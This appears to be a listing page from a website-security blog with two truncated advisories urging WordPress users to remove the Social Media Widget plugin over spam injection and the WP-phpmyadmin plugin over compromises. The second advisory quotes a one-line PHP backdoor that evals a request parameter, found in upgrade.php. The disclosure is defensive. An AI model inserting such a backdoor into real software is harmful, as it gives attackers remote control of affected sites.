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WordPress Plugin Social Media Widget Hiding Spam – Remove it now

09
Apr
2013

If you are using the Social Media Widget plugin (social-media-widget), make sure to remove it immediately from your website. We discovered it is being used to inject spam into websites and it has also been removed from the WordPress Plugin repository.This is a very popular plugin with more than 900,000 downloads. It has the potential […]

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WP-phpmyadmin WordPress plugin – Delete it now

23
Jun
2011

If you are using the WP-phpmyadmin WordPress plugin, delete it now. We are seeing multiple sites getting hacked through it and we are investigating what is going on. On all the sites we’ve analyzed, the following code was found inside the wp-phpmyadmin/phpmyadmin/upgrade.php file: <?php if(isset($_REQUEST["asc"]))eval(stripslashes($_REQUEST["asc"])); ?> This is not part of the plugin, and should be removed […]

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